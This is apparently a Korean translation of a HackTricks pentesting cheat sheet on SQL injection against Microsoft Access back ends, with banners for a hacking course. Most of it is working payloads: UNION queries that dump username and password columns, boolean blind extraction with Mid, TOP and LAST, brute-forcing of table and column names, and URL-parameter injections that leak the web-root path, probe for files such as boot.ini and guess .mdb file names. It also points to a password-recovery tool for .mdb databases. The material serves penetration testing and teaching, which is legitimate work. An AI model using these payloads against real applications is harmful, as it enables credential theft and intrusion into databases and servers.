hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md
2024-02-10 21:30:13 +00:00

10 KiB

MS Access SQL Injection

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

온라인 플레이그라운드

DB 제한 사항

문자열 연결

문자열 연결은 & (%26)+ (%2b) 문자로 가능합니다.

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

댓글

MS Access에는 댓글 기능이 없지만, NULL 문자를 사용하여 쿼리의 마지막 부분을 제거하는 것이 가능한 것 같습니다:

1' union select 1,2 from table%00

만약 이 방법이 작동하지 않는다면, 쿼리의 구문을 수정할 수도 있습니다:

1' UNION SELECT 1,2 FROM table WHERE ''='

스택 쿼리

지원되지 않습니다.

LIMIT

LIMIT 연산자는 구현되지 않았습니다. 그러나 TOP 연산자를 사용하여 SELECT 쿼리 결과를 첫 N개의 테이블 행으로 제한할 수 있습니다. TOP은 반환할 행의 수를 나타내는 정수를 인수로 받습니다.

1' UNION SELECT TOP 3 attr FROM table%00

TOP과 마찬가지로 **LAST**를 사용하여 끝에서부터 행을 가져올 수 있습니다.

UNION 쿼리/서브 쿼리

SQLi에서는 일반적으로 다른 테이블에서 정보를 추출하기 위해 새로운 쿼리를 실행해야 합니다. MS Access에서는 서브 쿼리나 추가 쿼리에서 FROM이 표시되어야 합니다.
따라서, UNION SELECT 또는 UNION ALL SELECT 또는 조건절에서 괄호 안에 SELECT를 실행하려면 항상 유효한 테이블 이름이 있는 FROM을 지정해야 합니다.
따라서, 유효한 테이블 이름을 알아야 합니다.

-1' UNION SELECT username,password from users%00

Chaining equals + Substring

{% hint style="warning" %} 이를 통해 테이블 이름을 알 필요 없이 현재 테이블의 값을 유출할 수 있습니다. {% endhint %}

MS Access는 **'1'=2='3'='asd'=false**와 같은 이상한 구문을 허용합니다. 일반적으로 SQL 인젝션이 WHERE 절 내부에 있을 것이므로 이를 악용할 수 있습니다.

MS Access 데이터베이스에서 SQLi가 있다고 가정하고, 하나의 열 이름이 username이라고 알고 있거나 추측한 경우, 체이닝 이퀄 기술이 사용될 때 웹 앱의 다른 응답을 확인하고 Mid 함수를 사용하여 부분 문자열을 가져와 부울 인젝션을 통해 콘텐츠를 유출할 수 있습니다.

'=(Mid(username,1,3)='adm')='

만약 테이블의 이름덤프할 컬럼을 알고 있다면, Mid, LAST, TOP을 조합하여 부울형 SQLi를 통해 모든 정보를 노출시킬 수 있습니다:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

온라인 플레이그라운드에서 이를 확인해보세요.

테이블 이름 무차별 대입 공격

체이닝 이퀄 기법을 사용하여 다음과 같이 테이블 이름을 무차별 대입 공격할 수도 있습니다:

'=(select+top+1+'lala'+from+<table_name>)='

더 전통적인 방법을 사용할 수도 있습니다:

-1' AND (SELECT TOP 1 <table_name>)%00

온라인 플레이그라운드에서 확인해보세요.

열 이름 무차별 대입으로 무차별 대입하기

현재 열 이름을 열 이름 무차별 대입 기법을 사용하여 무차별 대입할 수 있습니다.

'=column_name='

또는 group by와 함께:

-1' GROUP BY column_name%00

또는 다른 테이블의 열 이름을 무차별 대입(brute-force)하여 찾을 수도 있습니다:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

데이터 덤프

우리는 이미 equals 기법을 연결하는 방법을 통해 현재 테이블과 다른 테이블에서 데이터를 덤프하는 방법에 대해 논의했습니다. 그러나 다른 방법들도 있습니다:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

간단히 말해서, 이 쿼리는 "if-then" 문을 사용하여 성공한 경우 "200 OK"를 트리거하거나 그렇지 않은 경우 "500 Internal Error"를 트리거합니다. TOP 10 연산자를 이용하여 첫 번째 열 개를 선택할 수 있습니다. LAST의 후속 사용은 10번째 튜플만 고려하도록 합니다. 이 값을 사용하여 MID 연산자를 사용하여 간단한 문자 비교를 수행할 수 있습니다. MID와 TOP의 인덱스를 적절히 변경하여 모든 행의 "username" 필드 내용을 덤프 할 수 있습니다.

시간 기반

https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN에서 확인하세요.

다른 흥미로운 함수

  • Mid('admin',1,1)은 위치 1부터 길이 1의 하위 문자열을 가져옵니다 (초기 위치는 1입니다).
  • LEN('1234')는 문자열의 길이를 가져옵니다.
  • ASC('A')는 문자의 ASCII 값을 가져옵니다.
  • CHR(65)는 ASCII 값에서 문자열을 가져옵니다.
  • IIF(1=1,'a','b')는 if then을 수행합니다.
  • COUNT(*)는 항목 수를 계산합니다.

테이블 열거

여기에서 테이블 이름을 가져오는 쿼리를 확인할 수 있습니다.

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

그러나, MSysObjects 테이블을 읽을 수 없는 SQL Injection을 찾는 것이 매우 일반적입니다.

파일 시스템 액세스

웹 루트 디렉토리 전체 경로

웹 루트의 절대 경로를 알면 추가적인 공격을 용이하게 할 수 있습니다. 애플리케이션 오류가 완전히 숨겨지지 않은 경우, 데이터를 선택하여 존재하지 않는 데이터베이스에서 데이터를 가져오려고 시도하면 디렉토리 경로를 알 수 있습니다.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access는 웹 디렉토리 전체 경로를 포함한 오류 메시지로 응답합니다.

파일 열거

다음 공격 벡터는 원격 파일 시스템에 파일의 존재를 추론하는 데 사용될 수 있습니다. 지정된 파일이 존재하는 경우, MS Access는 데이터베이스 형식이 잘못되었다는 오류 메시지를 트리거합니다:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

파일을 열거하는 또 다른 방법은 데이터베이스.테이블 항목을 지정하는 것입니다. 지정된 파일이 존재하는 경우, MS Access는 데이터베이스 형식 오류 메시지를 표시합니다.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

.mdb 파일 이름 추측

다음 쿼리를 사용하여 **데이터베이스 파일 이름 (.mdb)**을 추론할 수 있습니다:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

여기서 name[i]는 .mdb 파일 이름이고 realTable은 데이터베이스 내의 존재하는 테이블입니다. MS Access는 항상 오류 메시지를 트리거하지만, 잘못된 파일 이름과 유효한 .mdb 파일 이름을 구별할 수 있습니다.

.mdb 비밀번호 크래커

Access PassView는 Microsoft Access 95/97/2000/XP 또는 Jet Database Engine 3.0/4.0의 주요 데이터베이스 비밀번호를 복구하는 데 사용할 수 있는 무료 유틸리티입니다.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요!

HackTricks를 지원하는 다른 방법: